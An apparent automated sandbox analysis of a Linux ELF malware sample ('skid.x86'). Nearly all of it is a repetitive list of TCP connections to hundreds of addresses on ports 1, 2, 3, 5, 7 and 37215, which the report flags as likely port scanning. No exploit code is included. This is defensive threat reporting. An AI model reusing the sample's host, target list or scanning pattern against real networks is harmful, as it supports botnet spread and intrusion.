Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	Virustotal: Detection: 66%			Perma Link

Machine Learning detection for sample

Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf

Joe Sandbox ML: detected

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 41.97.122.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.168.55.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.63.193.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.55.98.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.247.44.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.54.244.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.42.1.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.69.93.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.85.104.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.252.2.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.156.102.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.226.194.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.155.147.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.120.245.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.60.246.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.67.69.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.116.228.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.89.37.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.75.95.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.177.204.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.59.82.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.136.242.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.176.4.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.224.41.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.192.158.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.225.151.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.150.29.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.141.127.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.146.161.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.113.66.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.44.96.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.193.18.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.238.249.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.241.3.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.173.7.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.170.201.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.99.255.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.115.196.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.145.206.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.209.183.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.211.102.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.247.194.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.97.36.205 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.84.43.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.164.3.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.217.111.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.130.113.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.203.208.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.142.54.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.18.75.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.22.69.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.0.151.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.68.100.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.230.41.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.27.94.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.255.166.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.233.193.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.9.49.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.67.46.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.129.23.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.175.71.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.74.155.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.24.57.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.162.67.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.96.92.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.229.89.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.60.8.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.185.96.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.116.99.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.28.159.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.145.36.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.187.197.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.67.110.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.151.199.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.231.97.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.198.169.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.73.43.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.85.183.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.177.244.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.155.153.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.192.207.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.80.100.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.108.116.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.94.142.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.175.48.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.105.22.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.28.212.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.142.161.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.37.14.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.39.213.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.84.121.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.69.249.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.252.15.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.227.117.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.135.80.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.163.154.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.90.79.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.164.8.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.69.52.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.143.141.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.80.161.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.95.209.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.167.138.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.213.99.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.231.18.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.109.160.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.114.189.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.201.23.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.189.168.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.150.55.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.147.211.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.127.10.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.47.235.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.220.29.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.138.84.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.196.237.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.158.111.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.168.192.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.108.18.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.118.71.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.199.54.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.38.242.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.96.213.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.46.53.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.253.80.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.78.216.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.111.116.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.31.218.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.83.197.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.88.247.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.58.229.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.61.31.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.77.215.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.229.53.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.169.168.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.160.206.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.167.74.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.168.2.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.63.176.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.214.35.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.74.211.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.126.237.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.218.151.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.87.34.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.45.165.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.75.73.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.197.209.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.174.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.180.58.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.246.49.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.108.9.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.157.228.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.221.29.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.48.101.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.115.124.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.88.39.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.28.168.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.139.158.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.53.253.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.95.131.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.118.193.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.179.116.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.7.56.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.80.135.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.216.133.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.23.150.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.159.84.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.176.177.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.240.242.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.158.222.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.105.23.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.61.105.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.225.174.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.51.145.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.68.200.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.76.241.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.170.123.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.128.53.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.38.168.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.169.36.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.226.127.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.25.197.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.138.97.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.243.164.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.63.7.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.79.18.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.242.100.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.201.240.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.55.85.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.229.253.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.132.154.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.41.5.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.205.58.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.195.75.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.118.66.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.198.249.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.206.96.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.96.167.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.229.149.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.170.187.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.173.162.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.103.175.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.146.41.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.19.254.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.106.150.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.68.2.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.87.11.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.83.135.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.127.41.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.249.182.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.51.121.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.199.95.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.45.249.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.99.124.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.246.8.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.175.207.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.89.160.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.183.218.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.147.67.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.234.175.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.216.33.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.183.123.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.190.131.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.132.30.188 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.203.159.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.162.211.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.123.250.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.201.238.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.213.90.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.31.205.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.226.205.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.210.44.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.11.49.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.199.180.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.154.7.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.9.222.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.127.251.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.34.184.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.75.184.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.138.94.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.209.203.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.83.69.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.194.34.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.207.104.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.146.211.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.92.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.188.13.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.51.127.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.178.174.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.176.151.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.234.139.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.3.222.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.223.136.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.26.44.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.243.106.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.56.49.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.42.186.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.51.78.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.45.172.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.66.143.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.213.21.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.28.251.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.164.150.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.40.90.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.82.125.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.24.106.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.64.162.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.221.120.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.150.227.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.238.196.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.249.126.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.88.121.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.220.115.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.52.196.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.137.142.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.3.120.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.138.212.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.217.116.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.133.85.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.150.61.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.69.62.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.106.39.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.235.190.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.39.23.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.146.138.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.203.201.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.246.176.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.141.181.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.35.207.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.217.74.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.64.204.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.51.12.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.106.31.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.2.20.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.98.186.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.199.180.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.99.246.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.81.109.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.241.36.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.229.186.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.42.151.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.178.231.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.210.183.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.3.90.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.135.116.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.66.104.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.4.12.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.183.103.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.219.157.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.99.69.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.137.129.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.2.112.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.129.40.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.125.42.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.252.202.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.129.180.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.125.78.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.84.239.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.232.20.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.244.44.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.191.113.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.175.90.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.226.249.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.190.24.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.39.213.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.149.4.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.116.146.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.97.168.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.134.61.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.31.10.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.142.210.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.96.202.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.183.87.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.138.87.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.224.207.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.31.137.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.165.159.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.233.189.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.14.35.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.202.174.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.66.20.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.243.188.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.98.6.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.29.183.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.120.149.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.78.110.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.102.195.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.146.7.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.38.36.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.157.57.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.28.182.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.126.162.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.124.13.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.207.254.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.121.101.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.255.113.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.241.182.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.26.78.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.144.79.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.106.36.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.79.169.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.141.113.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.210.226.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.178.121.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.120.82.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.32.47.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.135.201.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.56.147.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.91.153.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.45.179.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.239.82.241 ports 1,2,3,5,7,37215
